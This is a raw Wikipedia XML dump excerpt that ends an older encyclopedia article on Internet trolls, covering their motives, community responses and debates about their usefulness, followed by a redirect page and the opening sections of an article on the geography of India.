* Trolling can be described as a [[breaching experiment]], which, because of the use of an alternate [[persona]], allows for normal social boundaries and rules of [[etiquette]] to be tested or otherwise broken, without serious consequences. This may be part of an attempt to test the limits of some discourse, or to identify reactive personalities.  By removing identities and histories from the situation, leaving only the discourse, some [[scientist]]s believe that it is possible to run [[social engineering]] experiments using troll methods. However, few believe that [[troll organization]]s are engaged in science, and a few scattered individuals, with no particular method or [[thesis]], cannot be described as scientists.  They might however be engaged in [[research]].
* Anonymous attention-seeking: The troll seeks to ''dominate'' the thread by inciting anger, and effectively [[Thread Hijacking|hijacking]] the topic at hand. 
* Amusement: To some people, the thought of a person getting angry over statements from total strangers is entertaining. This could be categorized as a form of ''[[schadenfreude]]'' - trolls with amusement motives deriving pleasure from the actual frustration/anger/pain (or what they may perceive in their own minds as such) from their targets.
* Anger: Some people use trolling to express their hostility to a group or point of view.
* Cry for help: Many so-called trolls, in their postings, indicate disturbing situations regarding family, relationships, substances, and school &amp;mdash; although it is generally impossible to know whether this is just simply part of the troll. Some believe that trolling is an aggressive, confrontational way by which trolls seek a sort of tough love guidance in an anonymous forum.
* Self-proclaimed trolls, and their defenders, suggest that trolling is a clever way of improving discussion, or an alternative method of viewing power-relations.
* Setting oneself a challenge, simply to see if one can do it, and be successful: One member of an online forum, for example, joins under an unrecognizable identifying name to see if the other members of the forum can be fooled and, if so, for how long.
* Wasting others' time: One of the greatest themes in trolling is the idea that a troll can spend one minute of time posting a troll, causing multiple other people to waste several minutes of their time, catalytically affecting others. Most trolls enjoy the idea that they can waste others' time at comparatively little effort on their behalf.
* [[Domino effect]]: Related to amusement, but in a more specific fashion, it starts large [[chain reaction]]s in response to one's initial post. Achieving a disproportionately large response to a small action is the general theme. This is similar to how a young child that goes &quot;missing&quot; (but is actually hiding) may act with glee, seeing a large number of people conducting a massive search in response to the supposed disappearance.
* Suppression of information: A particularly [[nihilism|nihilistic]] troll often aims to curb the sharing of helpful information between forum participants. For example, the skilled troll can turn an informative discussion about tips and techniques on coping with disease X... into a completely useless [[flame fest]]. This can keep essential information out of the hands of those who need it most, thus proliferating human suffering. A slightly less hostile variant is the supression of a discussion the troll does not like or finds offensive. A troll trolling a thread of sexist jokes would fit into this category.
* Effect change in user opinions: A troll may state extreme positions to make his or her actual beliefs seem moderate (this often involves sock puppeteering or duals, where the bad cop is a sock-puppet troll) or, alternatively, play the role of the devil's advocate to strengthen the opposing convictions (with which he or she actually agrees).
* Test the integrity of a system against social attacks or other forms of misbehavior: For example, blatantly violating terms-of-use in order to see whether any action is taken by the site [[Administration|administrator]]s.
* Overcome feelings of [[Inferiority complex|inferiority]] or powerlessness by getting the experience of controlling an environment.
* Self-promotion.
* Fight &quot;[[groupthink]]&quot;: Many trolls defend their actions as shocking people out of entrenched [[conformism]].
[[Image:klerck1.jpg|frame|right|160px|[[Klerck]], also known as Kevin Ealy, was an Internet troll and [[Slashdot troll]] before his 2005 death.]]
* [[Satire]]: In these cases, the individuals do not think of themselves as trolls, but misunderstood [[humorist]]s or political commentators.
* Satisfaction gained from personal attacks.
* [[Harassment]]: following a person &amp;mdash; who has been targetted for harassment in one forum, but who has chosen to escape being victimized by moving on &amp;mdash; and trolling the forum as a means of making that new &quot;home&quot; an uncomfortable place for that person to be online.
* Lowering [[signal to noise ratio]]: On [[Slashdot]], moderation points, that could be used to moderate up alternative posts, are wasted on moderating down things like [[ASCII]] pictures of the [[goatse.cx|goatse]] man. At certain thresholds, this lowers the quality of comments.
* Anonymously testing an alternate persona.
* Emptying a forum: this is usually only feasible if the forum is small.
* Attempting to discredit a group by posing as a member of that group, and posting inflammatory messages to give the appearance that the group espouses such opinions. This type of troll usually gives him or herself away faily quickly.

It is difficult to gauge the motivations of trolls, since most of the justifications offered by alleged trolls for their behavior are nothing more than ruses concocted to continue whatever mischief they imagine themselves to have started.  This is unfortunate because, as the above list supposes, there are legitimate reasons for engaging in the sort of actions for which trolling is known.  Still, etiquette is simple and straightforward enough that most people can advance the aims professed by self-exculpatory trolls, without actually resorting to these methods.  Since there is a wide spectrum of possible motivations for trolls, some of these functions being [[Benevolence|benevolent]] and others, clearly [[Malevolence|malevolent]], to typecast users as trolls in the negative sense is often rash.

Some users of Internet forums are considered to be &quot;trollhunters&quot;, or &quot;trollbaiters&quot;. They willingly enter into conflicts when trolls emerge. Often, trollhunters are as disruptive as trolls. A single troll-post may be ignored, but if ten trollhunters &quot;pounce&quot;, following a troll, they will drive the thread off-topic.

==Resolutions and alternatives==
In general, [[popular wisdom]] advises users to avoid feeding trolls, and to ignore temptations to respond. Responding to a troll inevitably drives discussion off-topic, to the dismay of bystanders, and supplies the troll with the craved attention. When trollhunters pounce on the trolls, ignorers reply with: &quot;'''YHBT. YHL. HAND.'''&quot;, or &quot;You have been trolled. You have lost. Have a nice day.&quot; However, since trollbaiters (like trolls) are often conflict-seekers themselves, the loss usually is not on the part of the trollhunter; rather, the losers are the other forum-users who would have preferred that the conflict does not emerge at all.
&lt;!-- ref: Jargon File --&gt;

Literature on [[conflict resolution]] suggests that labeling participants in Internet discussions as &quot;trolls&amp;quot; can perpetuate the unwanted behaviors. A person rejected by a social group, both online and offline, may assume an [[antagonism | antagonistic]] role toward it, and seek to further annoy or anger members of the group. The &quot;troll&quot; label, often a sign of social [[Rejection (emotion)|rejection]], may therefore perpetuate trolling.

Better results normally ensue when users take the [[Moderator (communications)|moderator]] role and describe more constructive behaviors in a non-judgmental, non-confrontational way. Trolls are excited by trollhunters, and frustrated by &quot;ignorers&quot;, and neither of these emotions produce positive results for the forum. Engaging trolls results in &quot;flame wars&quot;. Trolls frustrated by the &quot;ignore strategy&quot; may leave the forum (and either troll elsewhere, or become constructive users) or may become progressively more inflammatory until they get a response.

Novice trolls may experience serious &quot;troll's remorse&quot;, a feeling of great regret after losing their account (whether it be from an Internet service provider or from a website) as a consequence of their reckless trolling.

There are those who argue that a lack of response to trolling can also inspire trolling, a &quot;Damned if you do, damned if you don't&quot; result. Particularly fanatical or irrational commentators will respond to a forum that irks them largely independent of responses. Trolls also often continue to post, taking umbrage with peripheral arguments or arguments that were less well-founded, until their positions become untenable, then turning either to insults or moving to another topic. By this logic, relentless confrontation through argument of trolls (when such argument is to be found) can be vital.

==Usefulness of trolling==
A major debate on the Internet is whether or not trolls perform any ''useful'' function. Because troll is such a broadly-applied term, if all definitions thereof are to be accepted, the answer must definitively be &quot;yes and no&quot;.

Users performing many useful, but controversial, functions are often decried as trolls, and in these cases, so-called trolling may actually benefit the forum in which it occurs. For example, the presence of a radical right-winger, described as a troll, may allow a conservative lurker to feel more comfortable expressing his or her viewpoints, which seem very moderate in contrast. On the other hand, if trollhunters mount a [[flame war]] against this right-wing troll, the conservative bystander may feel ''less'' comfortable in expressing her views, to the detriment of the forum. As much as trolls claim to fight [[groupthink]], they may actually encourage it by solidifying opinion against them.

Trolls can also, in some circumstances, be a source of genuine humour, which depends entirely upon whether the troll is a good or a bad troll. It is usually fairly easy to spot the difference between such actions: a bad troll resorts only to weak uncreative arguments, whereas a good troll will create a subtle set of arguments which draw people in, with cunning twists to provide a thread of [[Non sequitur (absurdism)|non sequitur]] humour.

Trolls may also provide a valuable service by making people question the validity of what is read both on the Internet, and from other sources. Trolls show that expressing any opinion is as easy as expressing an informed and considered opinion, and may get as much visibility. It has also been argued that [[shock jocks]], and newspaper [[columnist]]s, often track public opinions by trolling. [[John C. Dvorak]], and [[Slashdot]], have often been cited as examples.

Even though useful content and productive users are sometimes decried as trolls, the consensus is that pure &quot;trolling&quot; benefits only the troll and trollhunters, and has no place in any forum. Most forums reject the claim that pure and intentional trolling serves any useful purpose. Some trolls have been known to try to troll threads into deletion, serving as a form of negative reinforcement to &quot;newbies&quot;, but also helping at the same time to reduce the clutter of [[Spam (electronic)|spam]] threads on a large message board. In many cases, trolling can lead a forum administrator or moderator into implementing  features to the site to prevent trolling. Although this could be regarded as improving the [[website]] itself, it remains that the features would not have been needed, had the trolls not been there.

==Behavioral issues==
Precise definitions of &quot;troll&quot; have been difficult because such definitions rely on assumptions about internal [[motivation]], which have been difficult to conculsively prove. Some behaviors, such as &quot;name-calling&quot; are not candidates for a &quot;troll&quot; classification unless their intent is to provoke a reaction, as &quot;name-calling&quot; could be considered more anti-social, perhaps falling under the classification of &quot;flamer&quot; instead.

Some have suggested that instead of calling somebody a &quot;troll&quot;, they should focus on specific behaviors that a group finds uncomfortable, and enforce behavioral rules to consistently and fairly prevent such behaviors. The idea is to focus on the undesirable behavior itself, rather than on the motivation for the behavior. If such behaviors cannot be identified, then perhaps the alleged troll should be tolerated out of fairness. Some call this, the &quot;If you cannot identify it, then tolerate it&quot; plan.

==Alternative views==
While trolls and trolling are, by and large, considered a negative and undesirable presence on a forum, some claim a belief that trolling is inherently bad can have damaging consequences. The use of the word &quot;[[terrorism|terrorist]]&quot; is often cited as an example of stepping over the line. However, anything that is labeled with the word &quot;terrorist&quot; rallies a feeling of an &quot;us versus them&quot; [[mindset|mentality]], which is helpful both in ostracizing trollish behavior, and in strengthening the 'need' for anti-troll tactics, thereby consolidating the [[webmaster]]'s support. 

In most cases, the latter is an unexpected bonus in dealing with trolls. However, a pertinent question arises: &quot;What if this is the only goal, and that the webmaster merely wishes to silence a variety of criticisms, ranging from poor moderation and too much [[Advertisement|advertising]], to restrictions on discussion topics?&quot; Playing the 'troll' card may therefore be the webmaster's weapon of choice.

Many (perhaps most) people, labelled &quot;trolls&quot;, are simply being called thus by someone else in the course of a religious, political or other ordinary type of dispute; in other words, they are labelled as one for acting as a [[dissident]] or [[heretic]]. To characterize systems administrators or moderators as &quot;the troll who got there first&quot; is not entirely inaccurate. Many debates between those with and without administrative or legal powers seem simply to resemble a heated personal argument.  On the Internet in particular, the holding of technological powers (such as the power to ban users or block [[IP address]]es) is not necessarily a sign of any superior political or [[moral]] judgement. Similarly, one may be labeled a ''troll'' for simply disagreeing with someone(often the topic starter).

As with similar pejorative labels, a group of people who are assigned the label can turn it around to create group identity, and the power to collectively resist. Individual outsiders using the label on someone become targets for a collective response. Insiders, however, may use the label without consequence, usually in a joking or disarming way.

Mr Comaish goes as far as to moot that the use of the term is a throwback to the early days of the Internet, when access was largely an exclusive, ruling class phenomenon. Despite assurances that the word is an 'English fishing term' he feels that the more obvious connotation, that of mythical Nordic untermenschen, clearly drowns the latter out, along with its credibility, and that the use of the term is therefore unacceptable in an inclusive online community.

==See also==
===Specific trolling subcultures===
* [http://www.bottleguy.com TCPunk]
* [[Gay Nigger Association of America]] (GNAA)
* [[Slashdot trolling phenomena]] (''see also'': [[Slashdot subculture]])
* [[Yahoo! trolling phenomena]]
* [[Troll organization|Troll organizations]]
* [[Trolltalk]] Trollgnaws: [[Meow Wars|alt.fan.karl-malden.nose]]
* [[rec.sport.pro-wrestling]]

===Related trolling terminology===
* [[Baiting]]
* [[James Parry|Kibo]]
* [[Page widening]]
* [[Sokal Affair]] (an offline example)
* [[Gadfly (social)]]
* [[AOLamer]]
* [[Breaching experiment]]
* [[Devil's Advocate]]
* [[Virtual community]]
* [[Jack Thompson]]

===Related terms===
* [[Schadenfreude]]

{{selfref|For Wikipedia's official views on trolls, see [[Wikipedia:Troll]].}}

==External links==
*[http://www.trollwars.com Troll Wars]: The only true gathering of trolls that acts a unit of destruction. 
*[http://www.tcpunk.com/forum TCPunk.com]: One of the largest troll boards going over five years strong. 
*[http://www.annoy.com/ Annoy.com]: A professional troll who fights for freedom of speech.
*[http://adequacy.org/ Adequacy.org]: Archive of Adequacy.org, now only an archive version of a troll site.
*[http://www.slis.indiana.edu/CSI/WP/WP02-03B.html Searching for Safety Online: Managing &quot;Trolling&quot; in a Feminist Forum] &lt;!-- scare quotes from original paper --&gt;
*[http://www.searchlores.org/trolls.htm#info Trolling for information]: How to use trolling techniques in order to lure information  (together with [[fravia]]'s &quot;[http://www.searchlores.org/trolls.htm#troscho Trolls and Schopenhauer]&quot; comparison).
*[http://trollhalloffame.com/ The Troll Hall of Fame]: Trolling history, Links, and information on types of trolls.

===Troll FAQs===
*[http://www.searchlores.org/trolls.htm General, specific and fundamental trolling lore]
*[http://www.urban75.com/Mag/troll.html urban75 Trolling FAQ: Comprehensive guide to the dark art of trolling]
*[http://groups.google.com/groups?ie=UTF-8&amp;oe=UTF-8&amp;as_umsgid=36a7593e.22750214@ruble.net&amp;lr=&amp;hl=en-us alt.troll FAQ] (how-to)
*[http://spiralx.dyndns.org/howto.html Spiralx Slashdot troll how-to]
*[http://www.angelfire.com/space/usenet/ How to Handle a Troll and Beat Them at Their Own Game]
*[http://www.cuyamaca.net/bruce.thompson/Fallacies/intro_fallacies.asp Bruce Thompson's page on logical fallacies]
*[http://www.cs.uu.nl/wais/html/na-dir/net-abuse-faq/troll-faq.html alt.syntax.tactical FAQ]
*[http://faqs.jmas.co.jp/FAQs/1999/Feb/990211.01 afk-mn FAQ]: Mostly old-style Usenet trolling.
*[http://thingy.apana.org.au/~fun/fsckhead.html What Makes A Fuckhead?] by David Kendrick.
*[http://www.usemod.com/cgi-bin/mb.pl?FalseRepentance False repentance]
*[http://www.emoderators.com/papers/flames.html The relationship between social context cues and uninhibited verbal behavior in computer-mediated communication]
*[http://jcmc.indiana.edu/vol7/issue1/baker.html Moral panic and alternative identity construction in Usenet]
* [http://www.catb.org/~esr/jargon/html/T/troll.html Troll] entry in the [[Jargon File]]
*[[Ursine:Plonk|Plonk]] in [[Ursine:Main Page|Ursine]]'s [[Ursine:Jargon|Jargon Wiki]]
* [http://www.jestsandjokes.com/show.php3?joke=185 Humorous definition of a troll]
* [http://members.aol.com/intwg/trolls.htm Internet Trolls]
* [http://redwing.hutman.net/~mreed/warriorshtm/troller.htm Flame Warriors: Troller]: Witty and well observed cartoon depictions of flame warriors, including trolls and related types.

[[Category:Customary categories of people|Troll]]
[[Category:Internet culture]]
[[Category:Internet terminology]]
[[Category:Internet trolling| ]]
[[Category:Popular psychology]]

{{Link FA|es}}

[[bg:Интернет трол]]
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[[fr:Troll (Internet et Usenet)]]
[[he:טרול (אינטרנט)]]
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[[ja:荒らし]]
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[[zh:白目]]</text>
    </revision>
  </page>
  <page>
    <title>India/History</title>
    <id>14596</id>
    <revision>
      <id>15912138</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>62.119.30.xxx</ip>
      </contributor>
      <comment>india</comment>
      <text xml:space="preserve">#REDIRECT [[History of India]]

:''See also :'' [[India]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of India</title>
    <id>14597</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42003762</id>
      <timestamp>2006-03-03T03:59:36Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.120.197.8|68.120.197.8]] ([[User talk:68.120.197.8|talk]]) to last version by Phil Boswell</comment>
      <text xml:space="preserve">{{Country geography |
name =India |
map =India 78.40398E 20.74980N.jpg|
continent =[[Asia]] |
region =[[South Asia]]&lt;br /&gt;[[Indian subcontinent]]|
coordinates =20°00'N 77°00' E |
area ranking =7th |
km area =3,287,590 |
miles area =1,269,345.60 |
percent land= 90.44 |
percent water =9.56 |
km coastline =7,516 | 
miles coastline =4,670.23 | 
borders =[[Land borders|Total land borders]]:&lt;br /&gt;14,103&amp;nbsp;km (8,763&amp;nbsp;miles)&lt;br /&gt;[[Bangladesh]]:&lt;br /&gt;4,053&amp;nbsp;km (2,518 miles)&lt;br /&gt; [[Bhutan]]:&lt;br /&gt;605&amp;nbsp;km (376&amp;nbsp;miles)&lt;br /&gt;[[Burma|Burma (Myanmar)]]:&lt;br /&gt;1,463&amp;nbsp;km (909&amp;nbsp;miles)&lt;br /&gt;[[People's Republic of China|China (PRC)]]:&lt;br /&gt;3,380&amp;nbsp;km (2,100&amp;nbsp;miles)&lt;br /&gt;[[Nepal]]:&lt;br /&gt;1,690&amp;nbsp;km (1,050&amp;nbsp;miles)&lt;br /&gt;[[Pakistan]]:&lt;br /&gt;2,912 km (1,809 miles) |
highest point= [[Kanchenjunga]]&lt;br /&gt;8,598&amp;nbsp;m (28,209&amp;nbsp;ft)|
lowest point= [[Kuttanad]]&lt;br /&gt;&amp;minus;2.2&amp;nbsp;m (&amp;minus;7.2&amp;nbsp;ft)| 
longest river=[[Ganges River|Ganges]]-[[Brahmaputra]]&lt;br /&gt;|
largest lake=[[Chilka Lake]]&lt;br /&gt;|
}}
The '''geography of India''' is extremely diverse, with landscape ranging from [[snow]]-capped [[mountain range]]s to [[desert]]s, [[plain]]s, hills and [[plateau]]s. Climate ranges from [[equator]]ial in the far south, to [[tundra]] in the [[Himalaya]]n [[altitude]]s. [[India]] comprises most of the [[Indian subcontinent]] and has a long [[coast|coastline]] of over 7,000&amp;nbsp;km (4,300&amp;nbsp;miles), most of which lies on a [[peninsula]] that protrudes into the [[Indian Ocean]]. India is bounded in the west by the [[Arabian Sea]] and in the east by the [[Bay of Bengal]].

The fertile [[Indo-Gangetic plain]] occupies most of [[North India|northern]], central and eastern India, while the [[Deccan Plateau]] occupies most of [[South India|southern India]]. To the west of the country is the [[Thar Desert]], which consists of a mix of rocky and sandy [[desert]]. India's east and northeastern border consists of the high Himalayan range. The highest point in India is disputed due to a territorial dispute with [[Pakistan]]; according to India's claim, the highest point (located in the disputed [[Kashmir]] territory) is [[K2]], at 8,611&amp;nbsp;m (28,251&amp;nbsp;feet). The highest point in undisputed Indian territory is [[Kanchenjunga]], at 8,598&amp;nbsp;m (28,208&amp;nbsp;feet).

India is bordered by [[Pakistan]], the [[People's Republic of China]], [[Bangladesh]], [[Myanmar]], [[Nepal]], [[Bhutan]] and [[Afghanistan]]{{ref|afgh}}. [[Sri Lanka]] and the [[Maldives]] are [[island nation]]s to the south of India. Politically, India is divided into 28 states, six federally administered [[union territories]] and a [[National Capital Territory of Delhi|national capital territory]].  The political divisions generally follow linguistic and ethnic boundaries rather than geographic transitions.

==Location and extent==
[[Image:800px-Vivekananda Memorial Kanyakumari.jpg|thumb|240px|Cape Comorin is the southernmost point in mainland India.]]
India lies to the north of the equator between 8&amp;nbsp;degree&amp;nbsp;4&amp;nbsp;minutes and 37&amp;nbsp;degree&amp;nbsp;6&amp;nbsp;minutes north latitude and 68&amp;nbsp;degrees&amp;nbsp;7&amp;nbsp;minutes and 97&amp;nbsp;degrees&amp;nbsp;25&amp;nbsp;minutes east longitude. It is the [[List of countries by area|seventh-largest country in the world]], with a total land area of 3,287,263&amp;nbsp;km&amp;sup2; (1,269,219&amp;nbsp;square miles). India measures 3,214&amp;nbsp;km (1,997&amp;nbsp;miles) from north to south and 2,933&amp;nbsp;km (1,822&amp;nbsp;miles) from east to west. It has a land frontier of 15,200&amp;nbsp;km (9,445&amp;nbsp;miles) and a coastline of 7,516.5&amp;nbsp;km (4,670.5&amp;nbsp;miles). The [[Andaman and Nicobar Islands]] in the Bay of Bengal and [[Lakshadweep]] in the Arabian Sea are parts of India. {{inote|Manorama pg 515-|man-515}}

India is bounded on the southwest by the Arabian Sea and on the southeast by the Bay of Bengal. On the north, northeast, and northwest are the Himalayas. [[Kanyakumari]] constitutes the southern tip of the Indian [[peninsula]], which narrows before ending in the [[Indian Ocean]].

{{see also|Extreme points of India}}

==Political geography==
{{main|States and territories of India}}
India is divided into 28 states (which are further subdivided into [[List of Indian districts|districts]]), six union territories and the [[National Capital Territory of Delhi]]. States have their own elected government, while Union Territories are governed by an administrator appointed by the union government.
{{India states}}

The state of Jammu and Kashmir is claimed by India but disputed by Pakistan and China, who administer parts of the territory. The state of Arunachal Pradesh is claimed by China but administered by India.

==Geographical regions==
India is divided into seven geographic regions. They are
#The northern mountains including the [[Himalaya]]s and the northeast mountain ranges.
#Indo-Gangetic plains
#Thar Desert
#Central Highlands and Deccan Plateau
#East Coast
#West Coast
#Bordering seas and islands

===Mountains===
[[Image:Indiahills.png|thumb|240px|Map of the hilly regions in India.]]
A great arc of mountains, composed of the [[Himalaya]], [[Hindu Kush]], and [[Patkai]] ranges, define the Indian subcontinent. These mountains were formed by the ongoing tectonic collision of the [[Indian Plate]] with the [[Eurasian Plate]] which started some 50 million years ago. These mountain ranges are home to some of the tallest mountains in the world and provide a natural barrier against the cold polar winds. They also facilitate the [[monsoon]]s that drive climate in India. The numerous rivers that originate in these mountains provide water to the fertile Indo-Gangetic plains. These mountains are recognised by [[biogeography|biogeographers]] as the boundary between two of the earth's great ecozones; the [[temperate]] [[Palearctic]] that covers most of Eurasia, and the [[tropical]] and [[subtropical]] [[Indomalaya]] ecozone that includes the Indian subcontinent and extend into [[Southeast Asia]] and Indonesia. Historically, these ranges have served as barriers to invaders.

India has seven major mountain ranges having peaks of over 1,000&amp;nbsp;m (3,300&amp;nbsp;feet). The Himalayas are the only mountain ranges to have snow-capped peaks. These ranges are:
#[[Aravalli]]
#[[Eastern Ghats]]
#[[Himalaya]]s
#[[Patkai]]
#[[Vindhya]]s
#[[Sahyadri]] or [[Western Ghats]]
#[[Satpura]]s

[[Image:Himalayas.jpg|thumb|240px|A composite image of the Himalaya.]]
The Himalaya mountain range is the world's highest mountain range. They form India's north-eastern border, separating it from the rest of Asia. The Himalayas are one of the world's youngest mountain ranges, and extend almost uninterrupted for a distance of 2,500&amp;nbsp;km (1,550&amp;nbsp;miles), covering an area of 500,000&amp;nbsp;km&amp;sup2; (193,000&amp;nbsp;square miles).

[[Image:Rathong_from_Zemathang2.jpg|thumb|240px|Himalayan peaks in Sikkim.]]
The '''Himalayas''' extend from the state of [[Jammu and Kashmir]] in the west to the state of [[Arunachal Pradesh]] in the east. These states along with [[Himachal Pradesh]], [[Uttaranchal]], and [[Sikkim]] lie mostly in the Himalayan region. Some of the Himalayan peaks range over 7,000&amp;nbsp;m (23,000&amp;nbsp;feet) and the [[snow line]] ranges between 6,000&amp;nbsp;m (19,600&amp;nbsp;feet) in Sikkim to around 3,000&amp;nbsp;m (9,850&amp;nbsp;feet) in Kashmir. Kanchenjunga, which lies in Sikkim, is the highest point in the country's territory (undisputed). Most peaks in the Himalayas remain snowbound throughout the year. 

The '''[[Shiwalik]]''', or lower Himalaya, consists of smaller hills towards the Indian side. Most of the rock formations are young and highly unstable, with [[landslide]]s being a regular phenomenon during the rainy season. Many of India's [[hill station]]s are located on this range. The climate varies from sub tropical in the foothills to tundra at the higher elevations of these mountain ranges.

The mountains on India's eastern border with Myanmar are called as the '''[[Patkai]] ''' or the '''Purvanchal'''. They were created by the same tectonic processes that resulted in the formation of the Himalaya. The features of the Patkai ranges are conical peaks, steep slopes and deep valleys. The Patkai ranges are not as rugged or tall as the Himalayas. There are three hill ranges that come under the Patkai: The Patkai-Bum, the [[Garo Hills|Garo]]-[[Khasi Hills|Khasi]]-[[Jaintia Hills|Jaintia]], and the [[Lushai hills]]. The Garo-Khasi range is in the Indian state of [[Meghalaya]]. The climate ranges from [[temperate]] to [[alpine]] due to altitude. [[Cherrapunji]], which lies on the [[windward]] side of these hills, has the distinction of being the wettest place in the world, receiving the highest annual rainfall {{ref|patkai}}.

[[Image:Vindhya.jpg|thumb|240px|The Vindhyas in central India.]]
The '''[[Vindhya]]''' range runs across most of central India, covering a distance of 1,050&amp;nbsp;km (652&amp;nbsp;miles). The average elevation of these hills is 300&amp;nbsp;m (1,000&amp;nbsp;feet). They are believed to have been formed by the wastes created due to the weathering of the ancient Aravalli mountains. It geographically separates [[North India|northern]] India from [[South India|southern]] India. The western end of the range lies in eastern [[Gujarat]], near its border with the state of [[Madhya Pradesh]], and the range runs east and north nearly to the [[Ganges River]] at [[Mirzapur]]. 

The '''[[Satpura Range]]''' is a range of [[hill]]s in central [[India]]. It begins in eastern [[Gujarat]] near the [[Arabian Sea]] coast, then runs east through [[Maharashtra]], [[Madhya Pradesh]] and ends in the state of [[Chhattisgarh]]. It extends for a distance of 900&amp;nbsp;km with many of its peaks rising above 1000&amp;nbsp;m (3,300&amp;nbsp;feet). It is angular in shape, with its vertex at [[Ratnapuri]] and the two sides being parallel to the [[Tapti River|Tapti]] and [[Narmada River|Narmada]] river. It runs parallel to the [[Vindhya Range]], which lies to the north, and these two east-west ranges divide the Indo-Gangetic plain of northern India from the Deccan Plateau lying in the south. The Narmada runs in the depression between the Satpura and Vindhya ranges, and drains the northern slope of the Satpura range, running west towards the Arabian Sea.

[[Image:Aravalli.jpg|thumb|240px|The Aravalli range in Rajasthan.]]
The '''[[Aravalli Range]]''' is the oldest mountain range in India, running from northeast to southwest across [[Rajasthan]] in western [[India]], extending approximately 500&amp;nbsp;km (310&amp;nbsp;miles). The northern end of the range continues as isolated hills and rocky ridges into [[Haryana]], ending near [[Delhi]]. The highest peak is [[Mount Abu]], rising to 1,722&amp;nbsp;m (5,653&amp;nbsp;feet), lying near the southwestern extremity of the range, close to the border with [[Gujarat]]. The city of [[Ajmer]] with its lake lies on the southern slope of the range in Rajasthan. The Aravalli Range is the eroded stub of an ancient folded mountain system that was once snow-capped. The range rose in a [[Precambrian]] event called the Aravalli-Delhi [[orogen]]. The range joins two of the ancient segments that make up the Indian [[craton]], the [[Marwar]] segment to the northwest of the range, and the Bundelkhand segment to the southeast. 

[[Image:India topo big.jpg|thumb|240px|Elevated regions in India.]]
The '''[[Western Ghats]]''' or '''Sahyadri''' mountains run along the western edge of [[India]]'s [[Deccan]] Plateau, and separate the Deccan plateau from a narrow coastal plain along the [[Arabian Sea]]. The range starts south of the [[Tapti River]] near the border of [[Gujarat]] and [[Maharashtra]], and runs approximately 1,600&amp;nbsp;km (1,000&amp;nbsp;miles) through the states of Maharashtra, [[Goa]], [[Karnataka]], [[Kerala]], and [[Tamil Nadu]], almost to the southern tip of the Indian peninsula. The average elevation is around 1,000&amp;nbsp;m with the higher peaks occurring in the northern section of the range in Maharashtra. Two of the notable peaks lying in the western ghats are [[Kalsubai]] 1,646&amp;nbsp;m (5,427&amp;nbsp;feet) and [[Mahabaleshwar]] 1,438&amp;nbsp;m (4,710&amp;nbsp;feet).

The '''[[Eastern Ghats]]''' are a discontinuous range of mountains, which have been eroded and cut through by the four major rivers of southern [[India]], the [[Godavari]], [[Mahanadi River|Mahanadi]], [[Krishna River|Krishna]], and [[Kaveri River|Kaveri]]. These mountain ranges extend from [[West Bengal]] in the north, through [[Orissa]] and [[Andhra Pradesh]] to [[Tamil Nadu]] in the south. They run parallel to the [[Bay of Bengal]] and are not as tall as the Western Ghats, though some of its peaks are over 1000&amp;nbsp;m in height.

The Eastern and Western Ghats meet at the [[Nilgiri]] knot in Tamil Nadu. The [[Anai Mudi]] in the [[Cardamom Hills]] at 2,695&amp;nbsp;m (8,841&amp;nbsp;feet) in Kerala is the highest peak in the Western Ghats. The Nilgiris are considered to be a part of the Western Ghats.

===Indo-Gangetic plain===
{{main|Indo-Gangetic plain}}
[[Image:Ganga.jpg|thumb|200px|A satellite view of the Gangetic plains.]]
[[Image:IndoGangeticPlain Map.png|thumb|240px|Extent of the Indo-Gangetic plain across South Asia.]]
The '''Indo-Gangetic plains''' are large [[floodplain]]s of the [[Indus]] and the [[Ganga]]-[[Brahmaputra]] river systems. They run parallel to the Himalaya mountains, from [[Jammu and Kashmir]] in the west to [[Assam]] in the east, draining the states of [[Punjab, India|Punjab]], [[Haryana]], eastern [[Rajasthan]], [[Uttar Pradesh]], [[Bihar]], [[Jharkhand]] and [[West Bengal]]. The plains encompass an area of 700,000&amp;nbsp;km&amp;sup2; (270,000&amp;nbsp;mile&amp;sup2;) and vary in width through their length by several hundred kilometres. Major rivers that form a part of this system are the Ganga ([[Ganges River|Ganges]]) and [[Indus River]] along with their tributaries; [[Beas River|Beas]], [[Yamuna River|Yamuna]], [[Gomti River|Gomti]], [[Ravi River|Ravi]], [[Chambal River|Chambal]], [[Sutlej River|Sutlej]] and [[Chenab River|Chenab]].

The Indo-Gangetic belt is the world's most extensive expanse of uninterrupted [[alluvium]] formed by the deposition of [[silt]] by the numerous rivers. The plains are flat and mostly treeless, making it conducive for [[irrigation]] through [[canal]]s. The area is also rich in [[ground water]] sources.

The plains are one of the world's most [[intensive farming|intensely farmed]] areas. Crops grown on the Indo-Gangetic Plain are primarily [[rice]] and [[wheat]], grown in [[Crop rotation|rotation]]. Other crops include [[maize]], [[sugarcane]] and [[cotton]]. Also known as the Great Plains, the Indo-Gangetic plains rank among the world's most densely populated areas.

===Thar Desert===
{{main|Thar Desert}}
[[Image:Jaisalmer-3.jpg|thumb|240px|[[Jaisalmer]] in Rajasthan is situated in the heart of the Thar Desert. The region is arid and dusty.]]
The '''Thar Desert''' (also known as the '''Great Indian Desert''') is a hot [[desert]] that forms a significant portion of western India. Spread over four states in [[India]] &amp;ndash; [[Punjab, India|Punjab]], [[Haryana]], [[Rajasthan]], and [[Gujarat]] it covers an area of 208,110&amp;nbsp;km&amp;sup2; (80,350&amp;nbsp;mile&amp;sup2;). The desert continues into [[Pakistan]] as the [[Cholistan Desert]]. Most of the Thar Desert is situated in [[Rajasthan]], covering 61% of its geographic area. Most of the desert is rocky, with a small part of the extreme west of the desert being sandy.

The origin of the Thar Desert is uncertain. Some geologists consider it to be 4,000 to 10,000 years old, whereas others state that [[aridity]] began in this region much earlier. The area is characterised by extreme temperatures of above 45&amp;nbsp;&amp;deg;[[Celsius|C]] (113&amp;nbsp;&amp;deg;[[Fahrenheit|F]]) in summer to below [[freezing point|freezing]] in winters. Rainfall is precarious and erratic, ranging from below 120&amp;nbsp;mm (4.72&amp;nbsp;in) in the extreme west to 375&amp;nbsp;mm (14.75&amp;nbsp;in) eastward. The lack of rainfall is mainly due to the unique position of the desert with respect to the Aravalli range. The desert lies in the rain shadow area of the [[Bay of Bengal]] arm of the southwest monsoon. The parallel nature of the range to the Arabian Sea arm also means that the desert does not receive much rainfall.

